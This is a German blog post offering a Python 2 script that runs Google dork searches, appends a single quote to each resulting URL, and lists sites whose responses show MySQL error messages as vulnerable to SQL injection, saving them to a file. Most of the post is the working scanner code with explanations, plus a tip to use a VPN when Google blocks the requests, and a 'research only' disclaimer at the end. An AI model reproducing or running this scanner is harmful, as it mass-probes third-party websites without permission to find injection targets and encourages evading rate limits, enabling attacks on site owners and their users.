Zum Inhalt springen

SQL Injection Google Dork Checker

Hallo!

Hatte mich vor etwas längerer Zeit mal an ein kleines Google Dork SQLi Check Script gesetzt. Wie der Name schon sagt (btw. sehr langer Name :D) kann man einen Dork angeben, der in der Google Suche gesucht wird und Seiten, die anfällig für eine SQL Injection sind, werden ausgegeben und gespeichert.

Funktionsweise

def search(search, sites, datei):
    seiten = sites
    site = "http://www.google.de/search?q=%s&start=%i"%(search,seiten)
    try:
        page = requests.get(site)
    except:
        print "lol"
    soup = BeautifulSoup(page.content, 'html.parser')
    links = soup.find_all("a",href=re.compile("(?<=/url\?q=)(htt.*://.*)"))
    urls = [re.split(":(?=http)",link["href"].replace("/url?q=",""))[0] for link in links]
    allLinks = [url for url in urls if 'webcache' not in url]
    print "-------------------------\nSortiere Seiten auf Google-Seite %s\n------------------------- "%str(datei)
    for x in allLinks:
        try:
            split = x.split("&sa")[0]
            decoded = urllib2.unquote(split).decode('utf8')
            sqli_search(decoded)
        except:
            print "Seite ist down!"

Das Script sucht den eingegeben Begriff (der als Parameter übergeben wurde) in der Google Suche in Kombination mit der Seitenanzahl, damit man auch mehrere Seiten checken kann. Alle unnötigen Zeichen, die wir nicht mehr brauchen bzw. für uns nicht relevant sind, werden entfernt. Somit bleibt uns nur noch die URL. Außerdem wird eine Datei namens „google_suche“ angelegt, in der später die Ergebnisse landen.

def google_search(search1, sites):
    try:
        sites = int(sites)
    except:
        return
    if sites == 0:
        search(search1,0,1)
    else:
        i = 1
        while i <= sites:
            search(search1,(i*10),i)
            i += 1

Diese Methode dient lediglich dazu die Google-Seiten vernünftig durchzugehen.

def sqli_search(decodedUrl):
    global outF
    page = requests.get(decodedUrl+"'")
    output = ["You have an error in your SQL syntax", "Warning: mysql_fetch_assoc()", "Warning: mysql_fetch_array()"]
    block_output = ["Our systems have detected unusual traffic from your computer network."]
    if any(t in page.text for t in output):
        outF.write("\n %s"%decodedUrl)
        outF.flush()
        print ("Seite ist angreifbar(%s)"%decodedUrl)
    elif any(r in page.text for r in block_output):
        print "Du wurdest geblockt!"
        sys.exit(1)
    else:
        print ("Seite ist nicht angreifbar(%s)"%decodedUrl)

Überprüfe Seiteninhalt auf MySQL Fehler oder Warnings, die auf Sicherheitslücken hinweisen. Außerdem wird gecheckt ob man von Google gesperrt wurde.

def start_menu():
    begriff = raw_input("Google Dork: ")
    seiten = raw_input("Wie viele Seiten willst du öffnen?(Empfohlen: 5-10): ")
    try:
        google_search(begriff, seiten)
    except ValueError:
        print "Bitte einen Integer (Ganzzahl) angeben."
        start_menu()

Das ist das Startmenü. Es wartet also auf Nutzereingaben und bringt das Ganze ins rollen.

Worauf sollte ich achten?

Eigentlich auf nichts (ist doch selbsterklärend oder?), außer die bereits oben erwähnte Google Sperrung. Nach einigen Anfragen wird man einfach von Google gesperrt, da die solche Anfragen halt verständlicherweise blocken (variiert und kommt wahrscheinlich auch auf den Dork an) und kann dann erstmal nichts machen. Man kanns höchstens mal mitm VPN probieren.

Ich stehe offen für Kritik! Trotzdem sei hier mal angemerkt, dass der Code eigentlich nicht für die Öffentlichkeit bestimmt war, ich aber auf Anfrage einfach mal was dazu geschrieben habe 😀

Download

 

 

Oben stehender Code dient nur zu Forschungszwecken und ich übernehme keinerlei Haftung für etwaige Schäden die dadurch entstanden sind.

 

 

Sei der Erste der einen Kommentar abgibt

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.